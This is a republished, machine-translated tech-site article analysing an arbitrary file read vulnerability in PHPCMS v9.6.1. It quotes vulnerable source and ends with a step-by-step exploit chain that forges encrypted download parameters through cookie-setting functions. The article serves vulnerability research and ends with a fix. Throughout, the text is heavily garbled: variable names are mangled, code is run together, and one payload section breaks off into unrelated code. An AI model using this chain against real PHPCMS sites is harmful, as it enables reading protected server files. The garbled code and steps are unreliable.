In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >
Share
Shulou(Shulou.com)06/02 Report--
This article mainly introduces how to use PHPCMSv9.6.1 arbitrary file reading vulnerability mining, has a certain reference value, friends in need can refer to. I hope you will learn a lot after reading this article. Next, let the editor take you to learn about it.
1. Preparation work & Fast scanning of vulnerability key points 1.1 pre-knowledge
Here we sort out the knowledge that needs to be mastered in this analysis:
The php native parse_str method automatically performs a urldecode, and if the second parameter is empty, it performs a similar extract operation.
The native empty method, which returns true for the string "".
Sys_auth in phpcms is symmetrically encrypted and it is theoretically impossible to construct a valid ciphertext without knowing auth_key.
1.2 Quick scan
First, diff v9.6.0 and v9.6.1, and found the following modifications in phpcms/modules/content/down.php:
-if (empty ($aqk)) showmessage (L ('illegal_parameters')); unset ($iMab / sys_auth) showmessage (L (' illegal_parameters')) + $aqik = safe_replace ($aqik); ^ M parse_str ($aqik); if (isset ($I)) $I = $id = intval ($I); if (! isset ($m)) showmessage (L ('illegal_parameters')); if (! isset ($modelid) | |! isset ($catid) showmessage (L (' illegal_parameters') If (empty ($f)) showmessage (L ('url_invalid')); $allow_visitor = 1 intval + $id = intval ($id); ^ M + $modelid = intval ($modelid); ^ M + $catid = intval ($catid); ^ M $MODEL = getcache (' model','commons') $tablename = $this- > db- > table_name = $this- > db- > db_tablepre.$MODEL [$modelid] ['tablename']; $this- > db- > table_name = $tablename.'_data';@@-86, 6 + 90 @ class down {$axik = sys_auth ($aqk,' DECODE', $pc_auth_key); if (empty ($aqk)) showmessage (L ('illegal_parameters')) Unset; + $aqqk = safe_replace ($aqk); ^ M parse_str ($aqk); if (isset ($I)) $downid = intval ($I); if (! isset ($m)) showmessage (L ('illegal_parameters') @ @-118 ext;+ 6 + 123 class down 7 @ @ class down {} $ext = fileext ($filename); $filename = date ('Ymd_his'). Random (3).'. $ext;+ $fileurl = str_replace (array ('),'', $fileurl) ^ M file_down ($fileurl, $filename);}}
Mainly modified the two methods init () and download (), the bold guess is that these two functions are wrong.
Public function init () {$aqunk = trim ($_ GET ['aqk']); if (! isset ($aqk)) showmessage (L (' illegal_parameters')); $aqunk = sys_auth ($aqik, 'DECODE', pc_base::load_config (' system','auth_key')); / / key point 1 if (empty ($aqk)) showmessage (L ('illegal_parameters')) Unset ($iGramings); $axik = safe_replace ($aqik); / / key point 2 parse_str ($aqk); / / key point 3 if (isset ($I)) $I = $id = intval ($I); if (! isset ($m) showmessage (L ('illegal_parameters')); if (! isset ($modelid) | |! isset ($catid) showmessage (L (' illegal_parameters')) If (empty ($f)) showmessage (L ('url_invalid')); $allow_visitor = 1; $id = intval ($id); $modelid = intval ($modelid); $catid = intval ($catid);. If (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iShaojianzhengf) | | strpos ($f, ":\\")! = FALSE | strpos ($fjinshu..)! = FALSE) showmessage (L ('url_error')) / / key point 4 if (strpos ($f, 'http://')! = = FALSE | | strpos ($f,' ftp://')! = = FALSE | | strpos ($f,': / /') = = FALSE) {$pc_auth_key = md5 (pc_base::load_config ('system','auth_key'). $_ SERVER [' HTTP_USER_AGENT']. 'down') $axik = urlencode (sys_auth (sys_auth) ("iConfigurified, unloaded, downloading, loading, downloading, downloading, loading, downloading, downloading, }} public function download () {$aqik = trim ($_ GET ['aqk']); $pc_auth_key = md5 (pc_base::load_config (' system','auth_key'). $_ SERVER ['HTTP_USER_AGENT'].' down'); / / key point 6$ aqunk = sys_auth ($aqk, 'DECODE', $pc_auth_key) If (empty ($aqk)) showmessage (L ('illegal_parameters')); unset ($iGramGravity)); $aqik = safe_replace ($aqk); / / key point 7 parse_str ($aqk); / / key point 8 if (isset ($I)) $downid = intval ($I); if (! isset ($m)) showmessage (L (' illegal_parameters')) If (! isset ($modelid)) showmessage (L ('illegal_parameters')); if (empty ($f)) showmessage (L (' url_invalid')); if (! $I | | $m 3600) showmessage (L ('url_invalid')); if ($m) $fileurl = trim ($s). Trim ($fileurl) / / key point 10 if (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | cer | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $)) showmessage (L ('url_error')) / / key point 11 / / remote file if (strpos ($fileurl,': /') & & (strpos ($fileurl, pc_base::load_config ('system','upload_url')) = false) {/ / key point 12 header ("Location: $fileurl");} else {if ($d = = 0) {header ("Location:". $fileurl) / / key 13} else {$fileurl = str_replace (array (pc_base::load_config ('system','upload_url'),' /'), array (pc_base::load_config ('system','upload_path'), DIRECTORY_SEPARATOR), $fileurl); $filename = basename ($fileurl) / / key point 14 / / process Chinese file if (preg_match ("/ ^ ([\ s\ S] *?) ([\ x81 -\ xfe] [\ x40 -\ xfe]) ([\ s\ S] *?) /", $fileurl) {$filename = str_replace (array ("% 5C", "% 2F", "% 3A"), array ("\", "/") (), urlencode ($fileurl)) $filename = urldecode (basename ($filename)); / / key 15} $ext = fileext ($filename); / / key 16$ filename = date ('Ymd_his'). Random (3).'. $ext; $fileurl = str_replace (array (''),'', $fileurl) / / key 17 file_down ($fileurl, $filename); / / key 18}
The safe_replace function is as follows
Function safe_replace ($string) {$string = str_replace; $string = str_replace ('% 27th); $string = str_replace ('% 2527th); $string = str_replace ('*','', $string); $string = str_replace ('','', $string); $string = str_replace ('','', $string) $string = str_replace ('','', $string); $string = str_replace (';','', $string); $string = str_replace ('', $string); $string = str_replace ("{",'', $string); $string = str_replace ('}','', $string); $string = str_replace ('\','', $string); return $string;} 1.2 content/down module general flow analysis
The init method performs a validation based on the original $aaccounk, which contains the basic information of the file_down file, and generates, calls the
The schema of the url,url of the download method is $downurl='?m=content&c=down&a=download&a_k='.$a_k (certain conditions must be met.)
The download method receives $aqk, decodes it, decrypts the file information, and calls file_down ($fileurl, $filename) (certain conditions must be met)
Let's take a look at the file_down function. The first parameter, $filepath, is the variable that actually controls the file name of readfile. Readfile can read local files, so we construct a qualified $fileurl to bypass the above restrictions to complete the local file reading function!
Function file_down ($filepath, $filename =') {if (! $filename) $filename = basename ($filepath); if (is_ie ()) $filename = rawurlencode ($filename); $filetype = fileext ($filename); $filesize = sprintf ("% u", filesize ($filepath); if (ob_get_length ()! = false) @ ob_end_clean (); header ('Pragma: public') Header ('Last-Modified:' .gmdate ('D, d M Y Hpuri'). ' GMT'); header ('Cache-Control: no-store, no-cache, must-revalidate'); header (' Cache-Control: pre-check=0, post-check=0, max-age=0'); header ('Content-Transfer-Encoding: binary'); header (' Content-Encoding: none'); header ('Content-type:'. $filetype); header ('Content-Disposition: attachment; filename= ". $filename.'"); header (' Content-length:'. $filesize) Readfile ($filepath); exit;} 1.2.1$ fileurl variable Construction Analysis
If we want to read the .php ending file of the site, php cannot appear in $fileurl because of the existence of the key point 11, but you can see from key point 17 that the replacement has been made.
$fileurl = str_replace (array (''),'', $fileurl); / / KeyPoint 17
Then it is conceivable that we will construct a file suffix that conforms to .ph ([] +) p and will eventually be replaced with .php. And this sentence is added to 9.6.1, and it is more certain that this vulnerability is unique to 9.6.1.
Look up again.
If ($m) $fileurl = trim ($s). Trim ($fileurl); / / KeyPoint 10
If the variable $m is true, we can construct $fileurl by introducing the variable $s, and $fileurl is controlled by the variable $f.
$fileurl = trim ($f); $aqqk = safe_replace ($aqk); / / key 7parse_str ($aqk); / / KeyPoint 8
Through the parse_str to extract variables, it is easy to get the control $iGraingheadecompensionfrecinctreparence.We can construct $afork to control these variables here.
1.2.2$ aqk variable analysis
Look up again.
$pc_auth_key = md5 (pc_base::load_config ('system','auth_key'). $_ SERVER [' HTTP_USER_AGENT']. 'down'); / / key point 6$ aqik = sys_auth ($aqk,' DECODE', $pc_auth_key)
This key point 6 is important because the $pc_auth_key here is almost impossible to force out, but to get this encrypted $asigk only uses the same $pc_auth_key in the init () method. So we can only construct $abuttk through the init () method.
Now let's look at the init method.
$aqunk = trim ($_ GET ['aqk']); if (! isset ($aqk)) showmessage (L (' illegal_parameters')); $aqunk = sys_auth ($aqk, 'DECODE', pc_base::load_config (' system','auth_key')); / / KeyPoint 1
Here you can find that sys_auth 's auth actually uses the system's default auth_key. My intuition tells me that this may be the problem. Apart from this difference, the logic of the init method will not be repeated.
1.2.3 Summary
To sum up:
Index.php?m=content&c=down&a=init&a_k= tried to find a way to construct a suitable one.
The init method then constructs $adecik that conforms to the download method that can be decrypted.
Through the control of $atransik, the vulnerability is exploited by indirectly controlling the variables such as $irecoery, freguency, mrecoveryreachsrecoveryand so on.
two。 Vulnerability mining process 2.1 the $axik construction accepted by the init method 2.1.1 explores the $aquark construction process in the normal process
A quick scan of the source code to see where calls to the init method can be produced is the logic of the regular download model.
$aqk of the init method is generated in phpcms/modules/content/fields/downfile and phpcms/modules/content/fields/downfiles
Function downfile ($field, $value) {extract (string2array ($this- > fields [$field] ['setting'])); $list_str = array (); if ($value) {$value_arr = explode (' |', $value); $fileurl = $value_arr ['0']; if ($fileurl) {$sel_server = $value_arr ['1']? Explode (',', $value_arr ['1']):'; $server_list = getcache ('downservers','commons') If (is_array ($server_list)) {foreach ($server_list as $_ k = > $_ v) {if ($value & & is_array ($sel_server) & & in_array ($_ kpime server)) {$downloadurl = $_ v [siteurl]. $fileurl If ($downloadlink) {$aqurk = urlencode (sys_auth ("iDeploythis-> id&s=$_ v [siteurl] & mouldl downloadtypewritten modelidloaded packages-> ENCODE', pc_base::load_config ('system','auth_key') $list_str [] = "{$_ v [sitename]}";} else {$list_str [] = "{$_ v [sitename]}" }} return $list_str;}
However, it is found that the logic of authority verification and restriction in content_input and content_output logic is relatively perfect, and it is basically impossible to make use of it.
2.1.2 cool techs Construction $asigk
Since sys_auth is symmetrically encrypted, can we find a place where the same key is generated and conduct a full-text search of sys_auth to see if there is a context that meets the following criteria
The way is ENCODE.
Auth_key is the default of the system: pc_base::load_config ('system','auth_key')
And the content to be encrypted is controllable (it can be our $_ REQUEST data, or it can be constructed)
The encrypted data is echoed.
A total of 58 matches were found, but none fit the context, but we can note that
Public static function set_cookie ($var, $value ='', $time = 0) {$time = $time > 0? $time: ($value = =''? SYS_TIME-3600: 0); $s = $_ SERVER ['SERVER_PORT'] = =' 443'? 1: 0; $var = pc_base::load_config ('system','cookie_pre'). $var; $_ COOKIE [$var] = $value If (is_array ($value)) {foreach ($value as $k = > $v) {setcookie ($var.' ['.$ k.']', sys_auth ($v, 'ENCODE'), $time, pc_base::load_config (' system','cookie_path'), pc_base::load_config ('system','cookie_domain'), $s) }} else {setcookie ($var, sys_auth ($value, 'ENCODE'), $time, pc_base::load_config (' system','cookie_path'), pc_base::load_config ('system','cookie_domain'), $s) }} public static function get_cookie ($var, $default =') {$var = pc_base::load_config ('system','cookie_pre'). $var; return isset ($_ COOKIE [$var])? Sys_auth ($_ COOKIE [$var], 'DECODE'): $default;}
Param::set_cookie param::get_cookie uses the default auth_key for cookie encryption.
Immediately conduct a full-text search of set_cookie and find contexts that meet the following criteria.
The content of set_cookie is controllable.
The trigger conditions for set_cookie are as small as possible.
A total of 122 matches were found and two better triggers were found.
Swfupload_json/swfupload_del method in phpcms/moduels/attachment/attachments.php and swfupload_json/del method in phpcms/modules/video/video.php
The video module requires administrator privileges, so forget it. The attachment module can be called as long as it is a registered user.
Let's take a look at swfupload_json.
Public function swfupload_json () {$arr ['aid'] = intval ($_ GET [' aid']); $arr ['src'] = safe_replace (trim ($_ GET [' src'])); $arr ['filename'] = urlencode (safe_replace ($_ GET [' filename']); $json_str = json_encode ($arr); $att_arr_exist = param::get_cookie ('att_json') $att_arr_exist_tmp = explode ('| |', $att_arr_exist); if (is_array ($att_arr_exist_tmp) & & in_array ($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist? $att_arr_exist.' |'. $json_str: $json_str Param::set_cookie ('att_json',$json_str); return true;}}
We can construct it through src and filename. In the end, I chose src, which will be a json string, and of course multiple will be split with "| |".
After we register a user to log in, call
Index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
The resulting data will be
{"aid": 888," src ":" fobnn "," filename ":"}
Then we get the set-cookie ["att_json"] in response.header.
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
Let's modify the down.php- > init method to output the $aqk after DECODE.
Then we call
Index.php?m=content&c=down&a=init&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
Exciting, the init method successfully DECODE $aqk
Well, now that our idea has been verified to work, it's time to construct a usable payload.
2.2 json and parse_str
What needs to be solved now is to parse_str from json and to be able to parse out variables such as $iRegent, m, and so on.
{"aid": 888," src ":" fobnn=q&p1=12312 "," filename ":"}
Parsing {"aid": 888," src ":" fobnn=q and p11412312 "," filename ":"}
It means that parse_str parsing can still be implemented, just close it before and after, and fill in the variables we need in the middle, for example
{"aid": 888," src ":" pad=x&fobnn=q&p1=12312&pade= "," filename ":"}
Then fobnn and p1 are parsed normally, and src needs to be submitted by URLENCODE, which does not cause php parsing errors.
2.3Constructing $aqk that conforms to the init method
Let's first construct a $aqik that conforms to the init method so that the normal process can be completed.
If (isset ($I)) $I = $id = intval ($I); if (! isset ($m)) showmessage (L ('illegal_parameters')); if (! isset ($modelid) | |! isset ($catid) showmessage (L (' illegal_parameters')); if (empty ($f) showmessage (L ('url_invalid')); $allow_visitor = 1; $id = intval ($id); $modelid = intval ($modelid) $catid = intval ($catid)
Construct a pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade= to satisfy the condition.
Index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
Get
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid": 1, "src": "pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=", "filename": ""}
And then submit
Index.php?m=content&c=down&a=init&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
Success! The page has generated a url that calls the download method
Body, html {background _ FFF _ important;} 2.4 to construct the final payload bypassing restrictions
At present, the normal process has been worked out, focusing on how to construct a matching $fileurl. Let's take a look at the init method.
If (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iShaojianzhengf) | | strpos ($f, ":\\")! = FALSE | strpos ($fjinshu..)! = FALSE) showmessage (L ('url_error')) If (strpos ($f, 'http://')! = = FALSE | | strpos ($f,' ftp://')! = = FALSE | | strpos ($f,': / /') = = FALSE) {$pc_auth_key = md5 (pc_base::load_config ('system','auth_key'). $_ SERVER [' HTTP_USER_AGENT']. 'down') $modelid = urlencode (sys_auth) (else {$downurl = $modelid, 'ENCODE', $pc_auth_key)); else {$downurl = $f;}
There are still a lot of restrictions on f, including regular blacklist detection php,asp and so on. There can be no "..", ":\"
Fortunately, we saw that in the download function
If ($m) $fileurl = trim ($s). Trim ($fileurl); / / KeyPoint 10
We can construct it through $s by controlling $m, while $m and $s participate in the construction of $aqk.
In the init method, we can construct a similar m=1&s=.php&f=index to bypass the detection of the init method, and we focus on the download method.
/ / the regular detection code will not be posted, and the detection of $iGrainecomparence, modelidrecoverytrecoveryIP. If (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iLiangjianzhengf) | | strpos ($f, ":\\")! = FALSE | strpos ($fjimeng..)! = FALSE) showmessage (L ('url_error')); $fileurl = trim ($f)
Through this construction, the above test can certainly be bypassed, but it is found that there will be a problem with the following test, and finally $fileurl will become index.php.
If ($m) $fileurl = trim ($s). Trim ($fileurl); if (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | cer | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iPrecipient) showmessage (L ('url_error')); / / remote file
Okay, I saw it in the fast scan.
$fileurl = str_replace (array (''),'', $fileurl); / / KeyPoint 17
In addition, I saw
If ($d = = 0) {header ("Location:". $fileurl); 2.4.1 urlencode Encoding ""
So construct d=1&m=1&f=.puserid = $_ SESSION ['userid']? $_ SESSION [' userid']: (param::get_cookie ('_ userid')? Param::get_cookie ('_ userid'): sys_auth ($_ POST ['userid_flash'],' DECODE')); $this- > isadmin = $this- > admin_username = $_ SESSION ['roleid']? 1: 0; $this- > groupid = param::get_cookie (' _ groupid')? Param::get_cookie ('_ groupid'): 8; / / determine whether to log in to if (empty ($this- > userid)) {showmessage (L ('please_login','','member'));}}
Can be found
Sys_auth ($_ POST ['userid_flash'],' DECODE')
$this- > userid can be controlled and there is no complex permission check, and it is encrypted by default AUTH_KEY.
The full text looks for the unlimited set_cookie, and finds that the WAP module can use
Pc_base::load_sys_class ('format',', 0); class index {function _ construct () {$this- > db = pc_base::load_model ('content_model'); $this- > siteid = isset ($_ GET [' siteid']) & & (intval ($_ GET ['siteid']) > 0)? Intval (trim ($_ GET ['siteid'])): (param::get_cookie (' siteid')? Param::get_cookie ('siteid'): 1); param::set_cookie (' siteid',$this- > siteid); $this- > wap_site = getcache ('wap_site','wap'); $this- > types = getcache (' wap_type','wap'); $this- > wap = $this- > wap_site [$this- > siteid] Define ('WAP_SITEURL', $this- > wap [' domain']? $this- > wap ['domain'].' index.php?': APP_PATH.'index.php?m=wap&siteid='.$this- > siteid); if ($this- > wap ['status']! = 1) exit (L (' wap_close_status'));}
There is no restriction that we can control the param::set_cookie ('siteid',$this- > siteid) by $_ GET [' siteid'], and there is a file for the WAP module by default, but it does not need to be opened.
3.EXP writing
The process is as follows:
Index.php?m=wap&c=index&siteid=1 gets the cookie with the name siteid.
Visit index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
& src= wants to read the payload of the file and sets the post field userid_flash to the cookie obtained in step 1 when accessing it.
After the response is successful, get the cookie named att_json
Access the att_json obtained by index.php?m=content&c=down&a=init&a_k= to construct the final exploit path
You can intercept the generated $aqk directly.
Visit the $aqk intercepted by index.php?m=content&c=download&a=init&a_k=. Complete the utilization.
4. Repair scheme
The $aencrypk encryption and decryption sys_auth in the init method does not use the default key.
File_down filtered $fileurl again before.
Thank you for reading this article carefully. I hope the editor will share how to use PHPCMSv9.6.1 arbitrary files to read vulnerabilities to help everyone. At the same time, I also hope you can support us, pay attention to the industry information channel, find problems and detailed solutions are waiting for you to learn!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.